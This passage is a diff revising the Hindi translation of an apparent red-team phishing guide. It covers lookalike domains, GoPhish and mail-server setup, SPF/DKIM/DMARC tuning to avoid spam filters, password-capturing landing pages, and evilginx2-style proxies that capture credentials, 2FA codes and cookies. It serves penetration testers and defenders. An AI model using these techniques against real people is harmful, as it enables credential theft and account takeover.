डोमेन नाम से एक अक्षर **removes** करता है (उदा., zelser.com). -- **Repetition:** यह डोमेन नाम में किसी एक अक्षर को **repeats** करता है (उदा., zeltsser.com). -- **Replacement**: Homoglyph जैसा पर कम stealthy। यह डोमेन नाम के किसी एक अक्षर को बदलता है, संभवतः मूल अक्षर के कीबोर्ड पर नजदीकी अक्षर से (उदा., zektser.com). -- **Subdomained**: डोमेन नाम के अंदर एक **dot** introduce करें (उदा., ze.lster.com). -- **Insertion**: यह डोमेन नाम में एक अक्षर **inserts** करता है (उदा., zerltser.com). -- **Missing dot**: TLD को डोमेन नाम के साथ जोड़ दें। (उदा., zelstercom.com) +- **Transposition:** domain name के अंदर दो अक्षरों को swap करना (e.g., zelsetr.com). +- **Singularization/Pluralization**: domain के अंत में “s” जोड़ना या हटाना (e.g., zeltsers.com). +- **Omission**: domain नाम से एक अक्षर हटाना (e.g., zelser.com). +- **Repetition:** domain नाम में किसी अक्षर को repeat करना (e.g., zeltsser.com). +- **Replacement**: Homoglyph जैसा लेकिन कम stealthy। domain के किसी अक्षर को बदलना, संभवतः keyboard पर पास के अक्षर से (e.g, zektser.com). +- **Subdomained**: domain नाम के अंदर एक dot डालना (e.g., ze.lster.com). +- **Insertion**: domain नाम में एक अक्षर insert करना (e.g., zerltser.com). +- **Missing dot**: TLD को domain नाम में append करना। (e.g., zelstercom.com) **Automatic Tools** @@ -52,25 +52,25 @@ homograph-attacks.md ### Bitflipping -कई कारणों से जैसे solar flares, cosmic rays, या hardware errors के कारण स्टोर्ड या संचार में रखे गए कुछ bits अपने आप flip होने की **possibility** होती है। +कई कारणों (solar flares, cosmic rays, या hardware errors) से stored या communication में कुछ **bits** अपने आप flip हो सकते हैं। -जब इस कांसेप्ट को **DNS requests** पर लागू किया जाता है, तो संभव है कि **domain जो DNS server को मिला है** वह मूल रूप से अनुरोध किया गया domain नहीं हो। +जब यह अवधारणा **DNS requests** पर लागू होती है, तो संभव है कि **domain जो DNS server को प्राप्त होता है** वह शुरू में request किया गया domain न हो। उदाहरण के लिए, domain "windows.com" में एक single bit modification इसे "windnws.com" में बदल सकता है। -Attackers इस बात का **फायदा उठा सकते हैं** कि वे victim के domain के समान कई bit-flipping domains register कर लें। उनका उद्देश्य legitimate users को अपनी infrastructure पर redirect करना होता है। +Attackers इसका फायदा उठा सकते हैं और victim के domain के समान कई bit-flipping domains register कर सकते हैं। उद्देश्य legitimate users को अपनी infrastructure पर redirect करना होता है। -अधिक जानकारी के लिए पढ़ें [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) +और जानकारी के लिए पढ़ें [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) ### Buy a trusted domain -आप expired domain खोजने के लिए [https://www.expireddomains.net/](https://www.expireddomains.net) पर खोज कर सकते हैं जिसे आप उपयोग कर सकते हैं.\ -यह सुनिश्चित करने के लिए कि जो expired domain आप खरीदने जा रहे हैं **पहले से ही अच्छा SEO** रखता है, आप यह देख सकते हैं कि यह किस तरह categorize किया गया है: +आप expired domain खोजने के लिए [https://www.expireddomains.net/](https://www.expireddomains.net) पर search कर सकते हैं जिसे आप उपयोग कर सकते हैं.\ +यह सुनिश्चित करने के लिए कि आप जो expired domain खरीदने वाले हैं **पहले से अच्छा SEO** रखता है, आप यह देख सकते हैं कि वह किस तरह categorize किया गया है: - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) -## Discovering Emails +## Emails की खोज - [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free) - [https://phonebook.cz/](https://phonebook.cz) (100% free) @@ -78,17 +78,17 @@ Attackers इस बात का **फायदा उठा सकते ह - [https://hunter.io/](https://hunter.io) - [https://anymailfinder.com/](https://anymailfinder.com) -अधिक मान्य email addresses खोजने या पहले से मिले हुए ones को verify करने के लिए आप victim के smtp servers पर उन्हें brute-force करके चेक कर सकते हैं। [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ -इसके अलावा, यह मत भूलिए कि यदि users अपने mails तक पहुँचने के लिए **any web portal** उपयोग करते हैं, तो आप चेक कर सकते हैं कि क्या वह **username brute force** के प्रति vulnerable है, और संभव हो तो उस vulnerability का exploit करें। +और अधिक valid email addresses discover करने या जो addresses आपने पहले ही खोजे हैं उन्हें verify करने के लिए आप victim के smtp servers पर उन्हें brute-force करके चेक कर सकते हैं। [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ +इसके अलावा, याद रखें कि अगर users अपने mails तक पहुँचने के लिए किसी भी web portal का उपयोग करते हैं, तो आप चेक कर सकते हैं कि वह **username brute force** के प्रति vulnerable है या नहीं, और संभव होने पर उस vulnerability का exploit करें। ## Configuring GoPhish -### Installation +### इंस्टॉलेशन -आप इसे [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) से डाउनलोड कर सकते हैं +आप इसे डाउनलोड कर सकते हैं: [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) -डाउनलोड करके इसे `/opt/gophish` के अंदर decompress करें और `/opt/gophish/gophish` execute करें।\ -आउटपुट में आपको admin user के लिए password दिया जाएगा जो port 3333 पर होगा। इसलिए उस port पर पहुँचें और उन credentials का उपयोग करके admin password बदलें। आपको उस port को local पर tunnel करने की आवश्यकता पड़ सकती है: +Download करके इसे `/opt/gophish` के अंदर decompress करें और `/opt/gophish/gophish` execute करें।\ +आउटपुट में आपको port 3333 पर admin user के लिए एक password दिया जाएगा। इसलिए उस port तक पहुँचें और उन credentials का उपयोग करके admin password बदलें। आपको वह port local पर tunnel करने की जरूरत पड़ सकती है: ```bash ssh -L 3333:127.0.0.1:3333 @ ``` @@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 @ **TLS प्रमाणपत्र कॉन्फ़िगरेशन** -इस कदम से पहले आपके पास वह **पहले से खरीदा हुआ डोमेन** होना चाहिए जिसका आप उपयोग करने वाले हैं और वह **पॉइंट** कर रहा होना चाहिए उस **VPS के IP** की ओर जहाँ आप **gophish** कॉन्फ़िगर कर रहे हैं। +इस चरण से पहले आपके पास वह **पहले ही खरीदा हुआ domain** होना चाहिए जिसे आप उपयोग करने वाले हैं और वह उस **VPS का IP** की ओर **pointing** कर रहा होना चाहिए जहाँ आप **gophish** को कॉन्फ़िगर कर रहे हैं। ```bash DOMAIN="" wget https://dl.eff.org/certbot-auto @@ -114,7 +114,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt ``` **मेल कॉन्फ़िगरेशन** -इंस्टॉल करें: `apt-get install postfix` +इंस्टॉल करना शुरू करें: `apt-get install postfix` फिर डोमेन को निम्न फ़ाइलों में जोड़ें: @@ -122,24 +122,24 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt - **/etc/postfix/transport** - **/etc/postfix/virtual_regexp** -**/etc/postfix/main.cf के अंदर निम्न वेरिएबल्स के मान भी बदलें** +**साथ ही /etc/postfix/main.cf के अंदर निम्न चर (variables) के मान बदलें** `myhostname = `\ `mydestination = $myhostname, , localhost.com, localhost` -अंत में फ़ाइलें **`/etc/hostname`** और **`/etc/mailname`** को अपने डोमेन नाम से बदलें और **restart your VPS.** +अंत में फ़ाइलें **`/etc/hostname`** और **`/etc/mailname`** अपने डोमेन नाम में बदलें और **अपना VPS रीस्टार्ट करें.** -अब एक **DNS A record** बनाएं जो `mail.` को VPS के **ip address** पर पॉइंट करे और एक **DNS MX** record बनाएं जो `mail.` की ओर पॉइंट करे +अब, VPS के **ip address** की ओर संकेत करते हुए `mail.` का एक **DNS A record** बनाएं और `mail.` की ओर संकेत करते हुए एक **DNS MX** रिकॉर्ड बनाएं -अब ईमेल भेजकर टेस्ट करें: +अब ईमेल भेजने का परीक्षण करें: ```bash apt install mailutils echo "This is the body of the email" | mail -s "This is the subject line" test@email.com ``` **Gophish कॉन्फ़िगरेशन** -gophish के निष्पादन को रोकें और इसे कॉन्फ़िगर करें.\ -`/opt/gophish/config.json` को निम्नानुसार बदलें (https के उपयोग पर ध्यान दें): +gophish के निष्पादन को रोकें और इसे कॉन्फ़िगर करें।\ +`/opt/gophish/config.json` को निम्न के रूप में संशोधित करें (https के उपयोग पर ध्यान दें): ```bash { "admin_server": { @@ -166,7 +166,7 @@ gophish के निष्पादन को रोकें और इसे ``` **gophish सेवा कॉन्फ़िगर करें** -gophish सेवा बनाने के लिए ताकि इसे स्वचालित रूप से शुरू किया जा सके और एक service के रूप में प्रबंधित किया जा सके, आप फ़ाइल `/etc/init.d/gophish` निम्नलिखित सामग्री के साथ बना सकते हैं: +gophish सेवा बनाने के लिए ताकि इसे स्वतः शुरू किया जा सके और एक सेवा के रूप में प्रबंधित किया जा सके, आप `/etc/init.d/gophish` फ़ाइल निम्नलिखित सामग्री के साथ बना सकते हैं: ```bash #!/bin/bash # /etc/init.d/gophish @@ -213,7 +213,7 @@ case $1 in start|stop|status) "$1" ;; esac ``` -सेवा का कॉन्फ़िगरेशन पूरा करें और यह जाँचें कि यह कर रहा है: +सेवा का कॉन्फ़िगरेशन पूरा करें और इसकी जाँच करें: ```bash mkdir /var/log/gophish chmod +x /etc/init.d/gophish @@ -226,44 +226,44 @@ service gophish stop ``` ## मेल सर्वर और डोमेन कॉन्फ़िगर करना -### प्रतीक्षा करें & वैध रहें +### इंतजार करें और वैध रहें -किसी डोमेन की उम्र जितनी अधिक होगी, उसे spam के रूप में पकड़े जाने की संभावना उतनी ही कम होगी। इसलिए phishing assessment से पहले जितना अधिक समय संभव हो उतना प्रतीक्षा करें (कम से कम 1 सप्ताह)। इसके अलावा, यदि आप किसी प्रतिष्ठित सेक्टर से संबंधित एक पेज डालते हैं तो मिलने वाली प्रतिष्ठा बेहतर होगी। +डोमेन जितना पुराना होगा, उसे स्पैम के रूप में पकड़े जाने की संभावना उतनी ही कम होगी। इसलिए आपको phishing assessment से पहले जितना संभव हो उतना समय (कम से कम 1 सप्ताह) इंतजार करना चाहिए। इसके अलावा, अगर आप प्रतिष्ठा से जुड़ा सेक्टर का एक पेज रखते हैं तो प्राप्त होने वाली प्रतिष्ठा बेहतर होगी। -ध्यान रखें कि भले ही आपको एक सप्ताह प्रतीक्षा करनी पड़े, आप अभी सब कुछ कॉन्फ़िगर करना पूरा कर सकते हैं। +ध्यान दें कि भले ही आपको एक सप्ताह इंतजार करना पड़े, आप अब सब कुछ कॉन्फ़िगर करना पूरा कर सकते हैं। ### Reverse DNS (rDNS) रिकॉर्ड कॉन्फ़िगर करें -एक rDNS (PTR) रिकॉर्ड सेट करें जो VPS के IP पते को डोमेन नाम पर resolve करे। +एक rDNS (PTR) रिकॉर्ड सेट करें जो VPS के IP address को डोमेन नाम पर resolve करे। -### Sender Policy Framework (SPF) Record +### Sender Policy Framework (SPF) रिकॉर्ड -आपको नए डोमेन के लिए **SPF रिकॉर्ड कॉन्फ़िगर करना होगा**। यदि आप नहीं जानते कि SPF रिकॉर्ड क्या है तो [**इस पृष्ठ को पढ़ें**](../../network-services-pentesting/pentesting-smtp/index.html#spf). +आपको **नए डोमेन के लिए SPF रिकॉर्ड कॉन्फ़िगर करें**। यदि आप नहीं जानते कि SPF रिकॉर्ड क्या है [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf). -आप अपने SPF policy जनरेट करने के लिए [https://www.spfwizard.net/](https://www.spfwizard.net) का उपयोग कर सकते हैं (VPS मशीन के IP का उपयोग करें) +आप अपना SPF policy जनरेट करने के लिए [https://www.spfwizard.net/](https://www.spfwizard.net) का उपयोग कर सकते हैं (VPS मशीन के IP का उपयोग करें) ![](<../../images/image (1037).png>) -यह उस सामग्री है जिसे डोमेन के अंदर एक TXT रिकॉर्ड में सेट करना होगा: +यह वह कंटेंट है जो डोमेन के TXT रिकॉर्ड में सेट किया जाना चाहिए: ```bash v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` -### डोमेन-आधारित संदेश प्रमाणिकरण, रिपोर्टिंग और अनुपालन (DMARC) रिकॉर्ड +### डोमेन-आधारित संदेश प्रमाणीकरण, रिपोर्टिंग और अनुपालन (DMARC) रिकॉर्ड -आपको नए डोमेन के लिए **DMARC रिकॉर्ड कॉन्फ़िगर करना** होगा। यदि आप नहीं जानते कि DMARC रिकॉर्ड क्या है तो [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). +आपको नए डोमेन के लिए **DMARC रिकॉर्ड कॉन्फ़िगर करना होगा**। यदि आप नहीं जानते कि DMARC रिकॉर्ड क्या है तो [**इस पेज को पढ़ें**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). -आपको एक नया DNS TXT रिकॉर्ड बनाना होगा जो होस्टनाम `_dmarc.` की ओर इशारा करे, जिसमें निम्नलिखित सामग्री हो: +आपको hostname `_dmarc.` की ओर संकेत करते हुए निम्नलिखित सामग्री के साथ एक नया DNS TXT रिकॉर्ड बनाना होगा: ```bash v=DMARC1; p=none ``` ### DomainKeys Identified Mail (DKIM) -आपको नए डोमेन के लिए **DKIM कॉन्फ़िगर करना चाहिए**। अगर आप नहीं जानते कि DMARC रिकॉर्ड क्या है तो [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). +आपको नए डोमेन के लिए **DKIM कॉन्फ़िगर करना होगा**। यदि आप नहीं जानते कि DMARC रिकॉर्ड क्या है [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) > [!TIP] -> आपको DKIM कुंजी द्वारा उत्पन्न दोनों B64 मानों को जोड़ना होगा: +> आपको DKIM कुंजी द्वारा जनरेट किए गए दोनों B64 मानों को जोड़ना होगा: > > ``` > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB @@ -271,12 +271,11 @@ This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how ### Test your email configuration score -आप यह [https://www.mail-tester.com/](https://www.mail-tester.com)\ का उपयोग करके कर सकते हैं।\ -बस पृष्ठ पर जाएँ और वे जो पते देते हैं उस पर एक ईमेल भेजें: +आप यह [https://www.mail-tester.com/](https://www.mail-tester.com)\ का उपयोग करके कर सकते हैं। बस पेज खोलें और वे जो पता देते हैं उस पते पर एक ईमेल भेजें: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` -आप यह भी कर सकते हैं कि **अपने ईमेल कॉन्फ़िगरेशन की जाँच करें** — `check-auth@verifier.port25.com` पर एक ईमेल भेजकर और **प्रतिक्रिया पढ़ें** (इसके लिए आपको **खोलना** पोर्ट **25** होगा और यदि आप ईमेल root के रूप में भेजते हैं तो फ़ाइल _/var/mail/root_ में प्रतिक्रिया देखें).\ +आप भी `check-auth@verifier.port25.com` पर ईमेल भेजकर और **प्रतिक्रिया पढ़कर** **अपने ईमेल कॉन्फ़िगरेशन की जाँच कर सकते हैं** (इसके लिए आपको **open** port **25** करना होगा और प्रतिक्रिया को फ़ाइल _/var/mail/root_ में देखना होगा यदि आप ईमेल root के रूप में भेजते हैं).\ सुनिश्चित करें कि आप सभी परीक्षण पास करते हैं: ```bash ========================================================== @@ -288,40 +287,40 @@ DKIM check: pass Sender-ID check: pass SpamAssassin check: ham ``` -आप अपने नियंत्रण वाले **Gmail** पर एक संदेश भी भेज सकते हैं, और अपने Gmail इनबॉक्स में **email’s headers** की जाँच कर सकते हैं — `dkim=pass` को `Authentication-Results` header field में मौजूद होना चाहिए। +आप अपने नियंत्रण वाले **Gmail खाते में संदेश भेज सकते हैं**, और अपने Gmail इनबॉक्स में **email’s headers** की जाँच करें, `dkim=pass` `Authentication-Results` header field में मौजूद होना चाहिए। ``` Authentication-Results: mx.google.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; dkim=pass header.i=@example.com; ``` -### Spamhouse ब्लैकलिस्ट से हटाना +### Spamhouse Blacklist से हटाना -पेज [www.mail-tester.com](https://www.mail-tester.com) आपको बता सकता है कि आपका डोमेन spamhouse द्वारा ब्लॉक किया जा रहा है या नहीं। आप अपना domain/IP हटवाने के लिए अनुरोध कर सकते हैं: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) +The page [www.mail-tester.com](https://www.mail-tester.com) आपको बता सकता है कि आपका डोमेन spamhouse द्वारा ब्लॉक किया जा रहा है या नहीं। आप अपने डोमेन/IP को हटाने का अनुरोध कर सकते हैं: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) -### Microsoft ब्लैकलिस्ट से हटाना +### Microsoft Blacklist से हटाना -आप अपना domain/IP हटवाने के लिए अनुरोध कर सकते हैं: [https://sender.office.com/](https://sender.office.com). +​​आप अपने डोमेन/IP को हटाने का अनुरोध कर सकते हैं: [https://sender.office.com/](https://sender.office.com). -## बनाएँ और लॉन्च करें GoPhish अभियान +## GoPhish Campaign बनाएं और लॉन्च करें ### प्रेषक प्रोफ़ाइल -- प्रेषक प्रोफ़ाइल की पहचान के लिए कोई **नाम** सेट करें -- तय करें कि आप किस account से phishing emails भेजने जा रहे हैं। सुझाव: _noreply, support, servicedesk, salesforce..._ +- प्रेषक प्रोफ़ाइल की पहचान के लिए कुछ **नाम सेट करें** +- तय करें कि आप किस खाते से phishing ईमेल भेजने वाले हैं। सुझाव: _noreply, support, servicedesk, salesforce..._ - आप username और password खाली छोड़ सकते हैं, लेकिन सुनिश्चित करें कि Ignore Certificate Errors को चेक किया गया हो ![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) > [!TIP] -> यह अनुशंसित है कि सब कुछ काम कर रहा है यह जाँचने के लिए "**Send Test Email**" फ़ंक्शन का उपयोग करें।\ -> मैं सुझाव दूँगा कि परीक्षण करते समय ब्लैकलिस्ट होने से बचने के लिए **send the test emails to 10min mails addresses**। +> यह अनुशंसा की जाती है कि "**Send Test Email**" फ़ंक्शन का उपयोग करके जाँच करें कि सब कुछ काम कर रहा है।\ +> मैं सुझाव दूँगा कि **send the test emails to 10min mails addresses** ताकि परीक्षण करते समय ब्लैकलिस्ट होने से बचा जा सके। ### ईमेल टेम्पलेट -- टेम्पलेट की पहचान के लिए कोई **नाम** सेट करें -- फिर एक **subject** लिखें (कुछ अजीब नहीं, बस वह जो आप सामान्य ईमेल में पढ़ने की उम्मीद कर सकते हैं) -- सुनिश्चित करें कि आपने **Add Tracking Image** को चेक किया है -- ईमेल टेम्पलेट लिखें (आप नीचे दिए उदाहरण की तरह variables का उपयोग कर सकते हैं): +- टेम्पलेट की पहचान के लिए कुछ **नाम सेट करें** +- फिर एक **subject** लिखें (कुछ अजीब नहीं, बस ऐसा कुछ जो आप एक सामान्य ईमेल में पढ़ने की उम्मीद कर सकते हैं) +- सुनिश्चित करें कि आपने "**Add Tracking Image**" को चेक किया हुआ है +- **email template** लिखें (आप नीचे दिए उदाहरण की तरह variables का उपयोग कर सकते हैं): ```html @@ -340,56 +339,56 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` -ध्यान दें कि **ईमेल की विश्वसनीयता बढ़ाने के लिए**, यह सलाह दी जाती है कि क्लाइंट के किसी ईमेल से कुछ signature इस्तेमाल किया जाए। सुझाव: +Note that **in order to increase the credibility of the email**, यह सुझाव दिया जाता है कि क्लाइंट के किसी ईमेल से कुछ signature उपयोग करें। सुझाव: -- किसी **अस्तित्वहीन पते** पर ईमेल भेजें और देखें कि क्या रिस्पॉन्स में कोई signature मिलता है। -- ऐसे **सार्वजनिक ईमेल** खोजें जैसे info@ex.com या press@ex.com या public@ex.com और उन्हें ईमेल भेजकर उत्तर का इंतज़ार करें। -- किसी **खोजे गए वैध** ईमेल से संपर्क करने की कोशिश करें और उत्तर का इंतज़ार करें। +- किसी **अवस्थित पते (non existent address)** पर ईमेल भेजें और देखें कि उत्तर में कोई signature आता है या नहीं। +- ऐसी **public emails** जैसे info@ex.com या press@ex.com या public@ex.com खोजें और उन्हें ईमेल भेजें और जवाब का इंतजार करें। +- किसी **valid discovered** ईमेल से संपर्क करने की कोशिश करें और जवाब का इंतजार करें। ![](<../../images/image (80).png>) > [!TIP] -> Email Template भी **फाइलें अटैच करने** की अनुमति देता है। यदि आप NTLM challenges भी चोरी करना चाहते हैं किसी विशेष crafted फाइल/दस्तावेज़ का उपयोग करके तो [इस पृष्ठ को पढ़ें](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)। +> The Email Template भी **attach files to send** की अनुमति देता है। यदि आप किसी specially crafted files/documents के जरिए NTLM challenges चुराना चाहते हैं तो [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)। ### Landing Page -- एक **नाम लिखें** -- वेब पेज का **HTML कोड लिखें**। ध्यान दें कि आप वेब पेजों को **इम्पोर्ट** भी कर सकते हैं। -- **Capture Submitted Data** और **Capture Passwords** को मार्क करें -- एक **redirection सेट करें** +- **Write a name** +- **Write the HTML code** of the web page. ध्यान दें कि आप वेब पेजों को **import** कर सकते हैं। +- **Mark Capture Submitted Data** और **Capture Passwords** +- एक **redirection** सेट करें ![](<../../images/image (826).png>) > [!TIP] -> आमतौर पर आपको पेज के HTML कोड में परिवर्तन करने और लोकल में कुछ टेस्ट करने की ज़रूरत पड़ेगी (शायद किसी Apache सर्वर का उपयोग करके) **जब तक कि परिणाम पसंद न आ जाएं।** फिर उस HTML को बॉक्स में लिख दें।\ -> यदि आपको HTML के लिए कुछ static resources (शायद कुछ CSS और JS पेज) इस्तेमाल करने की ज़रूरत है तो आप उन्हें _**/opt/gophish/static/endpoint**_ में सेव कर सकते हैं और फिर उन्हें _**/static/\**_ से एक्सेस कर सकते हैं। +> आमतौर पर आपको पेज के HTML को संशोधित करना होगा और लोकल में कुछ टेस्ट करने होंगे (शायद कुछ Apache server का उपयोग करके) **जब तक कि आप परिणामों से संतुष्ट न हों।** फिर उस HTML को बॉक्स में लिखें.\ +> ध्यान दें कि यदि आपको HTML के लिए कुछ static resources (जैसे CSS और JS पेज) उपयोग करने की आवश्यकता है तो आप उन्हें _**/opt/gophish/static/endpoint**_ में सेव कर सकते हैं और फिर उन्हें _**/static/\**_ से एक्सेस कर सकते हैं। > [!TIP] -> redirection के लिए आप यूज़र्स को शिकार की legit मुख्य वेब पेज पर redirect कर सकते हैं, या उदाहरण के लिए _/static/migration.html_ पर redirect कर सकते हैं, कुछ **spinning wheel (**[**https://loading.io/**](https://loading.io)**) 5 सेकंड के लिए रखें और फिर बताएं कि प्रोसेस सफल रहा**। +> रिडायरेक्शन के लिए आप उपयोगकर्ताओं को पीड़ित की legit मुख्य वेबसाइट पर redirect कर सकते हैं, या उदाहरण के लिए उन्हें _/static/migration.html_ पर redirect करें, कुछ **spinning wheel (**[**https://loading.io/**](https://loading.io)**) 5 सेकंड के लिए दिखाएँ और फिर बताएं कि प्रक्रिया सफल रही**. ### Users & Groups - एक नाम सेट करें -- **Import the data** करें (ध्यान दें कि उदाहरण के लिए template उपयोग करने हेतु आपको प्रत्येक user का firstname, last name और email address चाहिए) +- **Import the data** (ध्यान दें कि template को उपयोग करने के लिए उदाहरण के लिए आपको प्रत्येक user का firstname, last name और email address चाहिए) ![](<../../images/image (163).png>) ### Campaign -अंत में, एक campaign बनाएं जिसमें नाम, email template, landing page, URL, sending profile और group चुनें। ध्यान दें कि URL वही लिंक होगा जो शिकारों को भेजा जाएगा। +अंत में, एक campaign बनाएँ — नाम, email template, landing page, URL, sending profile और group चुनें। ध्यान दें कि URL वह link होगा जो victims को भेजा जाएगा। -ध्यान दें कि **Sending Profile आपको एक टेस्ट ईमेल भेजने की अनुमति देता है ताकि आप देख सकें कि अंतिम phishing ईमेल कैसा दिखेगा**: +ध्यान दें कि **Sending Profile allow to send a test email to see how will the final phishing email looks like**: ![](<../../images/image (192).png>) > [!TIP] -> मैं सुझाव दूँगा कि **टेस्ट ईमेल 10min mails addresses** पर भेजें ताकि टेस्ट करते समय blacklisted होने से बचा जा सके। +> मैं सुझाव दूंगा कि टेस्ट भेजने के लिए **10min mails addresses** का उपयोग करें ताकि टेस्ट करते समय ब्लैकलिस्ट में न आने का जोखिम कम रहे। -सब कुछ तैयार होने पर, बस campaign लॉन्च करें! +सब कुछ तैयार होने के बाद, बस campaign लॉन्च करें! -## Website Cloning +## वेबसाइट क्लोनिंग -यदि किसी कारण से आप वेबसाइट को क्लोन करना चाहें तो नीचे दिए पृष्ठ की जाँच करें: +यदि किसी कारणवश आप वेबसाइट को clone करना चाहते हैं तो निम्नलिखित पृष्ठ देखें: {{#ref}} @@ -398,8 +397,8 @@ clone-a-website.md ## Backdoored Documents & Files -कुछ phishing assessments (मुख्यतः Red Teams के लिए) में आप ऐसे फाइल भी भेजना चाहेंगे जिनमें किसी तरह का backdoor हो (शायद एक C2 या शायद सिर्फ कुछ जो authentication ट्रिगर करे)।\ -कुछ उदाहरणों के लिए निम्न पृष्ठ देखें: +कुछ phishing assessments (मुख्यतः Red Teams के लिए) में आप ऐसी फ़ाइलें भी भेजना चाहेंगे जिनमें किसी प्रकार का backdoor हो (शायद एक C2 या शायद कुछ ऐसा जो authentication ट्रिगर करे)।\ +कुछ उदाहरणों के लिए निम्नलिखित पृष्ठ देखें: {{#ref}} @@ -410,53 +409,53 @@ phishing-documents.md ### Via Proxy MitM -पिछला अटैक काफी चालाक है क्योंकि आप एक असली वेबसाइट की नकल कर रहे हैं और उपयोगकर्ता द्वारा सेट की गई जानकारी एकत्र कर रहे हैं। दुर्भाग्य से, यदि उपयोगकर्ता ने सही पासवर्ड नहीं डाला या यदि जिस एप्लिकेशन की आपने नकल की है वह 2FA के साथ कॉन्फ़िगर है, तो **यह जानकारी आपको धोखा दिए गए उपयोगकर्ता का प्रतिरूपण करने की अनुमति नहीं देगी**। +पिछला हमला काफी चालाक है क्योंकि आप एक असली वेबसाइट का नकली रूप दिखा कर उपयोगकर्ता द्वारा भरे गए जानकारी को इकट्ठा कर रहे हैं। दुःख की बात यह है कि यदि उपयोगकर्ता ने सही पासवर्ड नहीं डाला या यदि उस application में जिसे आपने fake किया है 2FA कॉन्फ़िगर है, तो **यह जानकारी आपको धोखा दिए गए उपयोगकर्ता की impersonation करने की अनुमति नहीं देगी**। -इसीलिए ऐसे उपकरण उपयोगी हैं जैसे [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) और [**muraena**](https://github.com/muraenateam/muraena)। यह टूल आपको MitM जैसा अटैक जेनरेट करने की अनुमति देता है। मूल रूप से, अटैक निम्न प्रकार काम करता है: +यहीं पर [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) और [**muraena**](https://github.com/muraenateam/muraena) जैसे टूल्स उपयोगी होते हैं। यह टूल आपको MitM जैसा attack जनरेट करने की अनुमति देगा। मूल रूप से, हमला निम्नलिखित तरीके से काम करता है: -1. आप असली वेबपेज के लॉगिन फॉर्म का **impersonate** करते हैं। -2. उपयोगकर्ता अपनी **credentials** आपके फेक पेज पर **भेजता है** और टूल उन्हें असली वेबपेज पर भेजता है, यह **सत्यापित करता है कि credentials काम कर रहे हैं**। -3. यदि अकाउंट **2FA** के साथ कॉन्फ़िगर है, तो MitM पेज इसके लिए पूछेगा और एक बार जब **user इसे दर्ज करता है** तो टूल इसे असली वेब पेज को भेज देगा। -4. एक बार उपयोगकर्ता authenticated हो जाने पर आप (एक अटैकर के रूप में) **credentials, 2FA, cookie और हर इंटरैक्शन की कोई भी जानकारी** कैप्चर कर चुके होते हैं जब तक कि टूल MitM कर रहा होता है। +1. आप असली webpage के login form की **impersonate** करते हैं। +2. उपयोगकर्ता अपनी **credentials** आपकी fake page पर **send** करता है और टूल उन्हें असली webpage पर भेजता है, **देखता है कि credentials काम करते हैं या नहीं**। +3. यदि अकाउंट **2FA** के साथ कॉन्फ़िगर है, तो MitM पेज इसके लिए पूछेगा और जैसे ही **user उसे दर्ज करता है** टूल उसे असली वेब पेज पर भेज देगा। +4. एक बार उपयोगकर्ता authenticated हो जाने पर आप (attacker के रूप में) **captured कर चुके होंगे credentials, 2FA, cookie और किसी भी interaction की जानकारी** 